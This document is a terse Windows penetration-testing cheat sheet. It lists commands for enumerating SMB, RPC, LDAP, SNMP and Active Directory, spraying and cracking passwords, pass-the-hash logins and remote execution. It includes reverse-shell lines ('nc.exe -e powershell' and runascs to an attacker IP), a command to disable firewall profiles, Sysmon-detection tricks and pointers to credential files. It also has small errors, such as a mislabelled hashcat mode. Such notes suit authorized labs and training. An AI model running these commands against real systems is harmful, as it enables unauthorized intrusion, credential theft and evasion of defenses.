Windows pentesting notes

/usr/share/windows-resources                # Tools for Windows
/usr/share/peass/winpeas                    # WinPeas binary

%SystemDrive%\inetpub\                      # IIS data and sites
c:/WINDOWS/system32/drivers/etc/services    # List of services and ports

enum4linux -a <ip> -u <user> -p <pass>      # Enumerate all info

impacket-mssqlclient "<domain>/<user>:<pass>@<ip>"

select @@version                                -- Get OS version
select user_name()                              -- Get current OS username
select name,crdate from master.dbo.sysdatabases -- List all databases
use <db>                                        -- Use database (context)
 
-- List all tables of current DB
select TABLE_NAME from INFORMATION_SCHEMA.TABLES

rpcclient -U "" <ip>                        # Login anonymously
rpcclient -U "<DOMAIN>\\<user>" <ip>        # Login with credentials
> ?                                         # List all commands
> srvinfo                                   # Server info
> enumdomusers                              # Enum users
> enumdomgroups                             # Enum groups
> enumdomains                               # Enum domains
> netshareenumall                           # Enum SMB shares
> queryuser <user-name>                     # Detailed user's info
> lookupnames <user-name>                   # Get SID of user
> querygroup <group-rid>                    # Get group info
> enumprivs                                 # Enum current users' privileges
> getusername                               # Get current username

nmap -p 445 --script=smb-os-discovery <ip>
nbtscan <ip>                                
nmblookup -A <ip> 
 
# Anonymous shares enumeration 
smbclient -L //ip>
smbmap -H <ip>
 
# Shares enumeration using credentials
crackmapexec smb <ip> -u <user> -p <pass> --shares
smbclient -L //<ip>/ -U "<domain>/<username>%<password>"
smbmap -H <ip> -u <username> -p <password> -d <domain>
 
# Mount SMB share
sudo mount -t cifs -o "user=<username>,password=<password>" //<ip>/<share> /mnt/<dir>

crackmapexec smb <ip> -u <user-file> -p <pass-file> --continue-on-success

# Connect to share by credentials
smbclient //ip>/<share> [-U "<DOMAIN>\\<user>%<pass>"]
> get <file>                                # Get file
> put <local-file>                          # Upload file
> exit                                      # Exit
 
# Connect and execute command at once
smbclient [...] -c "<smb-command>"
 
# GUI connection (and standard terminal further)
xdg-open smb://<ip>/<share>
 
# Try to get shell via SMB
impacket-smbexec <domain>/<user>[:password]@<ip>

# Kerberos can be used to enumerate info and bruteforce passwords
kerbrute username -d <domain> --dc <dc-ip> <wordlist-file>
 
# Grab Kerberos hash
impacket-netview <domain/username> -no-pass

evil-winrm -i <ip> -u <username> -H <hash>  # Login by hash
evil-winrm -i <ip> -u <username> -p <pass>  # Login by password

responder -I <iface> -dw                    # Sniff NTLM auth attempt
hashcat -m 5600 <hash-file> <wordlist>      # Crack NTLMv1 hash
hashcat -m 5600 <hash-file> <wordlist>      # Crack NTLMv2 hash

responder -I <iface> -dw                    # Sniff LDAP auth attempt

# Try to get shell via WMI
impacket-wmiexec <domain>/<user>[:password]@<ip>

C:\Windows\System32\drivers\etc\hosts       # /etc/hosts
C:\inetpub\logs\LogFiles\W3SVC1\            # IIS logs
C:\inetpub\wwwroot\web.config               # IIS config
C:\xampp\apache\logs\                       # XAMPP logs
C:\xampp\passwords.txt                      # XAMPP credentials

showmount -e <ip>                           # List NFS shares
mount -t nfs <ip>:/<share> <dest-dir>       # Mount NFS share

nmblookup -A <ip>
nbtscan <ip>/<mask-bits>
nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>

snmp-check <ip> -c <pub-string>             # Nice-looking enumeration      
snmpwalk -v <ver> -c <pub-string> <ip> -m + # Enumerate MIB data
[...] NET-SNMP-EXTEND-MBI::nsExtendObjects  # Detect SNMP extend

# Enumerate top-level AD objects anonymously
ldapsearch -H ldap://<ip>:389/ -x -s base -b '' "(objectClass=*)" "*" +
 
# Enumerate all AD sub-objects of DN string (domain)
ldapsearch -H ldap://10.10.10.182:389/ -x -s sub -b 'DC=<hostname>,DC=<domain>' "(objectClass=*)" "*" +
 
# Connect to LDAP using credentials
ldapsearch -x -H ldap://<ip>:<port> -D "<DOMAIN>\\<user>" -w <pass>

nc.exe -e powershell <my-ip> <my-port>      # Connect shell to listener
 
# Download file (tip: check file integrity)
Invoke-WebRequest -URI <url> -OutFile <file>
 
Get-FileHash <file> -Algorithm MD5          # Calculate MD5 file hash
gci env:* | sort-object name                # List env variables
 
get-localuser                               # List all local users
Get-NetAdapter -Name * -IncludeHidden       # List all network adapters
ipconfig /all                               # Show network configuration
net share                                   # List local SMB shares
net view \\<machine> /all                   # List remote SMB shares
net start                                   # List services
net user                                    # List all local users
net user <username>                         # Get info about local user
net localgroup                              # List all local groups   
net localgroup <group>                      # Get info about local group
net accounts                                # List local password policy
netstat -avb -p <TCP|UDP>                   # List open ports
arp -a                                      # List ARP table (discover hosts)
tasklist                                    # List processes
systeminfo                                  # Get local system and AD info
get-service WinDefend                       # Get state of Windows Defender
Get-MpComputerStatus                        # Get status of AV software
Get-MpThreat                                # Get details of detected threat
Get-NetFirewallProfile                      # List profiles of local firewall
Get-NetFirewallRule                         # List rules of local firewall
req query <registry-key>                    # Get Windows registry key value
Get-ExecutionPolicy                         # Check current execution policy
 
 
# Find TCP port by service PID
netstat -noa | findstr "LISTENING" | findstr <PID>
netstat
  -a                                        # List listening ports only
  -b                                        # Show assigned binary
  -n                                        # Do not resolve IP
  -o                                        # Show PID
 
# Get event logs
Get-EventLog -List        
Get-EventLog -LogName System -EntryType Error      
 
# Disable firewall profiles
Set-NetFirewallProfile -Profile Domain,Public,Privarte - Enabled False
 
# Test for connections to other machines
Test-NetConnection -ComputerName 127.0.0.1 -Port 80
(New-Object System.Net.Sockets.TcpClient("127.0.0.1", "80")).Connected
 
# Sysmon detection tricks
Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }
Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"
Get-Service | where-object {$_.DisplayName -like "*sysm*"}
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational
findstr /si '<ProcessCreate onmatch="exclude">' C:\tools\*
 

net user /domain                            # List all AD users
net user <username> /domain                 # Get info about AD user
net group /domain                           # List all AD groups
net group <group> /domain                   # Get info about AD group
net accounts /domain                        # Get AD password policy
systeminfo | findstr Domain                 # Get AD domain name

# IMPORTANT: `import-module ActiveDirectory` might be required.
get-aduser -filter * <user>                 # User info
get-adgroup <group>                         # Group info
get-adforest                                # Active forest info
get-addomain -server <DC>                   # Get info about current AD domain
 
# Get full info about AD user
get-aduser -identity <username> -server <DC> -properties *
 
# Get AD users by Distinguished Name
get-aduser -filter * -searchbase <DN>
 
# Get full info about AD group
get-adgroup -identity <group> -server <DC> -properties *

whoami /priv                                # List privileges of user
whoami /groups                              # List groups of user
winpeas.exe                                 # Enumerate potential findings

runas.exe /netonly /user:<domain>\<username> "<command>"
 
# We have to check if the credentials work. Every AD account
# (even with the lowest privileges) has access to the SYSVOL folder.
dir \\<FQDN>\SYSVOL\                        # Using Kerberos auth
dir \\<IP>\SYSVOL\                          # Using NTLM auth

.\runascs.exe -d <domain> <user> <pass> cmd.exe -r <my-ip>:<my-port>